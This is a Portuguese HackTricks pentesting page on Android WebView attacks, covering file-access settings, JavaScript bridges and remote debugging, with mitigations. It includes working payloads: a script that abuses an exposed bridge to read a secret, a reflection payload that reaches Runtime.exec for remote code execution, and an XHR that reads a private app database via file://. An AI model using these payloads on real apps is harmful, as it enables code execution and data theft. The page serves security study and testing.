hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md
2023-06-06 18:56:34 +00:00

14 KiB

Configurações Interessantes

Acesso a Arquivos

O acesso a arquivos do WebView está habilitado por padrão. Desde a API 3 (Cupcake 1.5), o método setAllowFileAccess() está disponível para habilitá-lo ou desabilitá-lo explicitamente.
Se o aplicativo tiver android.permission.READ_EXTERNAL_STORAGE, ele poderá ler e carregar arquivos do armazenamento externo.
O WebView precisa usar um esquema de URL de arquivo, por exemplo, file://path/file, para acessar o arquivo.

Acesso Universal a partir de URL de Arquivo (Descontinuado)

Define se as solicitações cross-origin no contexto de uma URL de esquema de arquivo devem ser permitidas a acessar conteúdo de qualquer origem. Isso inclui acesso a conteúdo de outras URLs de esquema de arquivo ou contextos da web. Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração.

Não habilite essa configuração se você abrir arquivos que possam ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto file:// lancem ataques de script entre sites, acessando arquivos locais arbitrários, incluindo cookies do WebView, dados privados do aplicativo ou até mesmo credenciais usadas em sites da web arbitrários.

Em resumo, isso impedirá o carregamento de Origens arbitrárias. O aplicativo enviará a solicitação de URL para carregar o conteúdo com Origin: file:// se a resposta não permitir essa origem (Access-Control-Allow-Origin: file://), o conteúdo não será carregado.
O valor padrão é false ao direcionar Build.VERSION_CODES.JELLY_BEAN e acima.

{% hint style="info" %} Usar loadDataWithBaseURL() com null como baseURL também impedirá o carregamento de arquivos locais, mesmo se todas as configurações perigosas estiverem habilitadas. {% endhint %}

Acesso a Arquivos a partir de URLs de Arquivo (Descontinuado)

Define se as solicitações cross-origin no contexto de uma URL de esquema de arquivo devem ser permitidas a acessar conteúdo de outras URLs de esquema de arquivo. Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração.

Não habilite essa configuração se você abrir arquivos que possam ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto file:// acessem arquivos locais arbitrários, incluindo cookies do WebView e dados privados do aplicativo.

Em resumo, isso impede que o JavaScript acesse arquivos locais via protocolo file://.
Observe que o valor dessa configuração é ignorado se o valor de getAllowUniversalAccessFromFileURLs() for true.
O valor padrão é false ao direcionar Build.VERSION_CODES.JELLY_BEAN e acima.

Acesso a Arquivo

Habilita ou desabilita o acesso a arquivos dentro do WebView. Observe que isso habilita ou desabilita o acesso ao sistema de arquivos apenas. Ativos e recursos ainda são acessíveis usando file:///android_asset e file:///android_res.

Em resumo, se desabilitado, o WebView não poderá carregar um arquivo local com o protocolo file://.
O valor padrão é false ao direcionar Build.VERSION_CODES.R e acima.

WebViewAssetLoader

Classe auxiliar para carregar arquivos locais, incluindo ativos estáticos e recursos do aplicativo, usando URLs http(s):// dentro de uma classe WebView. Carregar arquivos locais usando URLs semelhantes à web em vez de "file://" é desejável, pois é compatível com a política de mesma origem.

Esta é a nova maneira recomendada de carregar arquivos locais. O objetivo é acessar arquivos locais usando um URL HTTP com o domínio. Dessa forma, o CORS pode ser facilmente mantido entre as páginas da web locais e as páginas da web que são baixadas do servidor da web.

Javascript Habilitado

Os WebViews têm o Javascript desabilitado por padrão. O método setJavaScriptEnabled() pode habilitá-lo ou desabilitá-lo explicitamente.
Observe que os webviews também podem suportar o esquema de intenção que permite disparar outros aplicativos. Leia este artigo para descobrir como ir de XSS para RCE.

Ponte Javascript

O Android oferece uma maneira para o JavaScript executado em um WebView chamar e usar funções nativas de um aplicativo Android (anotadas com @JavascriptInterface) usando o método addJavascriptInterface. Isso é conhecido como WebView JavaScript bridge ou native bridge.

Observe que quando você usa addJavascriptInterface, está concedendo explicitamente acesso ao objeto de Interface JavaScript registrado a todas as páginas carregadas dentro desse WebView. Isso implica que, se o usuário navegar fora do seu aplicativo ou domínio, todas as outras páginas externas também terão acesso a esses objetos de Interface JavaScript, o que pode

//Class with a method to access a secret
public class JavascriptBridge {
    // Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
    // not annotated with @JavascriptInterface are not visible from JavaScript
    @JavascriptInterface
    public String getSecret() {
        return "SuperSecretPassword";
    };
}
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>

Com acesso ao código JavaScript, por exemplo, por meio de um ataque XSS armazenado, ataque MITM ou um site malicioso que é carregado dentro do WebView, é possível chamar diretamente os métodos Java expostos.

{% hint style="info" %} Observe que, no caso de tentar explorar essa vulnerabilidade por meio de um Redirecionamento Aberto para uma página da web do atacante que acessa o Objeto Android Nativo. Se o acesso à redirecionamento for feito por meio de um navegador móvel e não usando o mesmo WebView, o navegador não poderá acessar o objeto Android nativo. {% endhint %}

Se addJavascriptInterface for necessário, leve em consideração o seguinte:

  • Somente o JavaScript fornecido com o APK deve ser permitido a usar as pontes, por exemplo, verificando a URL em cada método Java conectado (por meio de WebView.getUrl).
  • Nenhum JavaScript deve ser carregado de endpoints remotos, por exemplo, mantendo a navegação da página dentro dos domínios do aplicativo e abrindo todos os outros domínios no navegador padrão (por exemplo, Chrome, Firefox).
  • Se necessário por motivos de legado (por exemplo, ter que suportar dispositivos mais antigos), defina pelo menos o nível mínimo de API para 17 no arquivo manifesto do aplicativo (<uses-sdk android:minSdkVersion="17" />).

Ponte JavaScript para RCE via Reflexão

Conforme observado nesta pesquisa (verifique-a para obter ideias caso obtenha RCE), uma vez que você encontrou uma JavascriptBridge, é possível obter RCE via Reflexão usando uma carga útil como a seguinte:

<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
  return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

No entanto, aplicativos modernos podem usar a anotação @JavascriptInterface que indica à JavascriptBridge que somente o método com essa anotação deve ser exposto.
Nesse cenário, você não poderá abusar da Reflection para executar código arbitrário.

Depuração Remota

A depuração remota do WebView permite acessar o WebView com as Ferramentas de Desenvolvedor do Chrome.
O dispositivo precisa ser acessível pelo PC (via USB, emulador local, rede local...) e estar executando o WebView depurável, em seguida, acesse chrome://inspect/#devices:

Selecione inspecionar e uma nova janela será aberta. Nesta janela, você pode interagir com o conteúdo do WebView e até mesmo fazer com que ele execute código JS arbitrário na guia console:

Para habilitar a Depuração Remota do WebView, você pode fazer algo como:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    WebView.setWebContentsDebuggingEnabled(true);
}

Essa configuração se aplica a todos os WebViews do aplicativo.

{% hint style="info" %} A depuração do WebView não é afetada pelo estado do sinalizador debuggable no manifesto do aplicativo. Se você deseja habilitar a depuração do WebView somente quando debuggable for true, teste o sinalizador em tempo de execução. {% endhint %}

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
    { WebView.setWebContentsDebuggingEnabled(true); }
}

Cargas úteis

Exfiltrar arquivos arbitrários

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        alert(xhr.responseText);
    }
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

Referências

{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}

{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥